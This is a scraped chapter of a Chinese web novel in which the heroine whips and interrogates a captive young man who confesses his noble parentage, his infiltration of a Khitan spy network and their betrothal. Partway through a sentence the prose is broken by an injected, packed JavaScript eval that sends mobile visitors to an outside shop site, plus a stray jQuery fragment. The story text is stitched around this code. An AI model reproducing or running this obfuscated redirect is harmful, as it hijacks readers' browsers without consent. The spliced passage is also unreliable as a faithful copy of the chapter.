文趣网 > 其他小说 > 表小姐是来当皇帝的 > 37. 第 37 章
    暗牢之中,烛火晃动。

    十八郎悬吊在刑房之中,“我知道大姑娘长什么样。”

    “你知道?”谈芷走到他面前。

    “是啊。”十八郎被吊在刑架上,手腕上的铁链随着他说话的节奏轻轻晃荡,发出细碎的金属碰撞声。

    他的声音还有些沙哑,但那股子什么都不在乎的疏野已经回来了大半,“我方才也被那小六用同样的法子,在那密室门口摆了一道。不然我堂堂一个八尺男儿,怎么会落到她们两个老弱病残手里。真是奇耻大辱。”

    苍猲没忍住,噗嗤一声笑了出来。他赶紧捂住嘴,假装咳嗽,但肩膀还在不停地抖。

    青鹞面无表情地移开了目光,假装不认识他。

    谈芷也不由得眼含笑意。

    赵岫和惠嬷嬷,一个是坐轮椅的姑娘,另一个是头发花白的老嬷嬷,的确是老弱病残。

    不过话说回来,那洋金花迷香确实阴毒,若不是她恰好有阿九给的解滞丸,她自己也会着了道。

    谈芷收敛笑意,绕着十八郎转了一圈,上上下下地打量他。

    方才在暗牢门口,他毫无生气地吊着,看上去半死不活。但现在离近了看,她才发现他身上其实没什么要紧的伤。

    不过是指尖被赵岫那蛇蝎小姑娘用针扎了几下,虽疼得钻心,但也不伤根本,如今已经快痊愈了。

    谈芷随手从墙上取了一条鞭子。她在手里掂了掂分量,不轻不重,正合手。

    “说来听听。”她拿着鞭子在他面前站定。

    十八郎的目光落在那条鞭子上,喉结上下滚动了一下,脸上挂起一个讨好卖乖的笑:“十一姐姐,不必刑讯逼供吧。我一定知无不言,言无不尽。”

    “好。我问什么,你答什么,不许插科打诨,蒙混过关。”谈芷说。

    “是。”十八郎努力立正,可他被吊着,脚尖堪堪触地,两条手臂被铁链拉得笔直,整个人像一只被拎住了后颈皮的野猫,徒劳地想要摆出一个端正的姿势。

    “你是谁?”谈芷手中执鞭,围着他慢悠悠地转圈。皮靴踩在石板地面上,发出有节奏的嗒嗒声。

    十八郎偏过头,目光追着她的身影,嘴角浮起一个恶作剧的笑,“是姐姐失散多年的未婚夫。”

    苍猲正凑到青鹞耳边想说什么,话还没出口,就听见一声清脆的鞭响。

    谈芷抬手一鞭甩在十八郎的背上,力道不轻不重,刚好破皮渗血,能让人看出来打了,但只伤了薄薄一层皮肉。

    十八郎非常夸张地惨嚎一声,整个人在铁链上晃荡了两下,扯着嗓子嚷道:“谋杀亲未婚夫!”

    谈芷不说话,紧接着甩出三鞭。

    这三鞭甩在他的臀腿上,力道比方才那鞭重了些,鞭梢划过空气发出尖锐的呼啸。

    臀-部肉厚,不容易伤到筋骨,但打起来格外疼。

    十八郎又是一阵吱哇乱叫,铁链被他挣得哗啦啦地响,整个人像一条被丢上岸的鱼一样不停地扑腾。

    等鞭声停了,他吊在铁链上喘着粗气,抬起头来,脸上挂着认栽的苦笑:“姐姐手下留情。”

    “你是谁?”谈芷转到他面前,抬眼看着他。两个人之间的距离很近,近到他能看清她眼底那一层冷而亮的锐光。

    十八郎忽然安静下来了。他脸上的嬉笑一层一层地褪-去,那种玩世不恭的随意从眉眼间淡去,露出几分少年人安静而郑重的神色。

    “我姓裴,名行之。十七年前的冬日出生,比姐姐你小了六个多月。”

    谈芷从他的眼神里读出了他没有说出口的意思。指腹为婚,他们之间的红线在十七年前就系上了。

    谈芷没有接他这句话,像个真正的刑讯官一般咄咄逼人:“裴行之,你爹是谁?”

    十八郎见她明知故问,避重就轻,无奈地笑了一下。那个笑容里有几分纵容,又有几分自嘲。他歪了歪头,随口扯道:“我爹自然是天潢贵胄,凤子龙孙……”

    三鞭惩戒性地抽在他的脊背上,鞭梢落在先前那道鞭痕旁边,几道红痕交错在一起,像是被猫抓过的布帛。

    十八郎吃痛地倒抽了一口凉气,声音从牙缝里挤出来,带着几分真切的委屈:“姐姐,你有点欺负人了。”

    控诉的声音还没落地,就看见谈芷又作势扬鞭,他立刻换上了一副告饶的表情,“鞭下留情鞭下留情,我交代,我都交代。”

    开口之前,十八郎的脸上闪过一抹嫌恶的神色,那神色很淡,却十分真切。他垂下眼,声音也变得低沉了些,语气里带着不加掩饰的冷淡。

    “我爹是平陇王裴谦。我哥是平陇王嫡长子裴济川。我是他一个舞姬所生的、不值钱的小儿子。”

    谈芷沉默了一瞬。

    “你是平陇王幼子。那十三郎是谁?”

    “他是我的伴读。小时候被我从街头捡回来的,和我一起长大,情同手足。”十八郎提起十三,语气里难得地带上了一丝温度,“几年前我父王要送我来节度使府当质子,十三非要跟着来。临到燕绥的时候,我想了想,让他顶上了,自己跑了。”

    他提起这个的时候,脸上又浮起了那种得意的笑。

    “你为什么又来节度使府?”谈芷问。

    “来等未婚妻。”十八郎又调笑起来。话音刚落,鞭子就落下来了。

    这一次谈芷没有留力,鞭梢甩在他的肩背上,发出清脆的裂空声。

    接下来一个多时辰里,在问话的间隙,她的鞭子一次次落下,他每次都嚷嚷着疼要求饶,讨饶之后又嘴贱挨鞭。

    循环往复,像不挨几鞭就不肯好好赶路的马儿。

    几十鞭落下,他的满嘴荒唐言中,慢慢挤出了几句实话。

    他说,他这几年混迹江湖,到处游荡,因云家出事,偶然得知了谢家冤案的线索。

    他母亲就是谢家的女儿,获罪后被充作官妓,后来不知怎么被他父亲带回了平陇王府。

    他想知道更多母亲的事。所以他凭着在江湖混迹多年攒下的人脉和经验,混进了契丹的情报线。

    “你可知,契丹奸细的罪名坐实了,你难逃一死。”谈芷说。

    “冤枉啊。”十八郎趴在铁链上,面色苍白得近乎透明,嘴唇上的血色也褪得干干净净,可嘴角还挂着笑。

    他挨了几十鞭,脊背腰身和臀腿上遍布鲜红的鞭痕。衣袍的布料被鞭梢撕裂了好几处,露出底下红肿破皮的皮肤。

    有些鞭痕只是泛红,有些已经渗出了细密的血珠,血珠沿着脊背的弧度慢慢往下淌,在长明灯下泛着湿润的暗红色光泽。

    他整个人被吊在那里,身体微微发-抖,额角渗出冷汗,连那个笑都显得有些勉强了。

    他抬起眼看向谈芷。

    安静下来的时候,他的眉眼反而凸显出来。

    那双眼睛眼尾微微上挑,瞳仁颜色极深。眉骨高挺,鼻梁笔直,唇形薄而清晰。

    如今面色苍白如纸、唇角还挂着一丝没擦干净的血痕,更是画龙点睛地衬托出骨相里与生俱来的俊美。

    “如今契丹埋在燕绥的眼,近乎半瞎了。”他说,声音有些发虚,“全是我凭一己之力搅浑的。”

    “这么说,你是为了大周,忍辱负重,顺藤摸瓜,将契丹多年来在燕绥埋下的根系挖了。”谈芷说。

    “我也没有那么心怀天下。”十八郎又疼又饿,气力明显不济了,说话的声音越来越轻,但唇角那一丝浅淡的微笑始终没有消失,“主要还是为了寻个由头混进节度使府,和自己的小未婚妻同在一个屋檐下。”

    谈芷抬手,毫不留情地甩了最后一鞭。这一鞭落在

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745764|206985||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他的脊背上,力道比之前所有的都更重更狠,鞭梢在空气中划过一道凌厉的弧线,落在他满是伤痕的背上,发出一声沉闷的脆响。

    十八郎疼得嘶声吸气,眼眸都不受控地蒙上了一层水光。

    谈芷目光在他的面容上停留一瞬,又轻轻移开。

    “这五十鞭,是节帅罚你的李代桃僵,欺瞒之罪。”她义正辞严地说。

    十八郎瞪大了眼睛,“不是姐姐罚我的吗?”

    “你若是皮实在痒,还想继续受鞭刑,大可继续胡说。”谈芷头也不抬地说。

    “那真是多谢姐姐鞭下留情了。”裴行之含笑道。

    谈芷没有理会他,上前去解他手腕上绑着的铁链。

    那锁扣锈迹斑斑,她试了几下都纹丝不动,不由得踮起脚凑近些研究。

    两个人之间的距离忽然拉得很近。

    她心无旁骛地盯着那枚顽固的锁扣,呼吸若有似无地拂在他的下巴上。

    裴行之低头垂眼,目光落在她的脸颊上,又轻轻掠过唇和鼻。

    锁扣咔嗒一声弹开了。

    他手腕上的铁链哗啦啦地松脱,整个人失去了支撑,身体不由自主地往下坠。

    他本能地想稳住自己,可两条腿因为被吊了太久,身上又有麻痹筋骨的余毒未清,落地的瞬间膝盖一软,整个人往前踉跄了一步。

    他险险地控制住自己,没有往谈芷身上倒。

    他的手臂在空中晃了一下,身体的重心硬生生地往后移,一下子仰面朝天往后倒去。

    他的后背上遍布鞭痕,而暗牢的地面凹凸不平。若是直挺挺地砸下去,那些伤口撞在尖利的碎石上,不知道有多疼。

    谈芷明眼看着,不由地想,这个人平时没个正形,嬉皮笑脸什么话都敢说,可骨子里还是蕴着几分矜贵气度。

    她上前一步,一把握住他的小臂,将他拉回来。

    她的力道坚定而不容抗拒,裴行之被她猝不及防地一拽,整个人毫无准备往前倾倒。

    他勉力抬手压-在她的左肩上,借力撑住自己摇摇欲坠的身子,以免整个人不分青红皂白地压向她。

    可他的下巴还是在那力道拖拽之下,靠上了她的肩头。鼻尖碰到了她脖颈的皮肤,闻到了她发间极淡的皂角味和衣领上那股若有若无的糯米甜香。

    他浑身的血液在那一瞬间奔涌起来,心脏在胸腔里跳得像擂鼓,耳廓以肉眼可见的速度泛起了红色,烫得快要烧起来。

    “裴行之。”她在他的耳边轻声开口,声音压得极低,语气冷静而克制,“一会儿见到节帅,你知道怎么说了吗?”

    裴行之只觉得从耳尖到后颈的每一寸皮肤都在发麻。

    那种酥麻感从她的声音落下的地方蔓延开来,顺着颈椎一路往下窜,窜到四肢百骸。他想回答,可喉咙像被什么东西堵住了,嘴唇翕动了两下才勉强发出声音。

    “知道了,姐姐。”他轻声说。

    谈芷从袖中取出那个白瓷小瓶,拔开塞子往掌心里倒了一粒药丸,塞进他的手心里,“吃了。”

    她的手指碰到他的掌心,发现他的手很烫。不只是手心,他的整个人都在散发着异常的热度,呼吸也有些不正常的急促。

    她有些狐疑,心道难道有什么暗伤?

    他吞下解滞丸之后,谈芷扣住他的肩膀将他固定在面前,皱着眉上看下看。

    裴行之被她盯得浑身不自在。

    她的目光落在哪里,哪里的皮肤就像被烙铁烫了一下。他终于忍不住开口打断她,声音里带着几分他自己都没意识到的紧张。

    “姐姐。”

    “你生病了?”谈芷问。

    “可能吧。”裴行之把目光移到旁边那面空荡荡的石壁上,喉结上下滚动了一下,“我有点饿了。”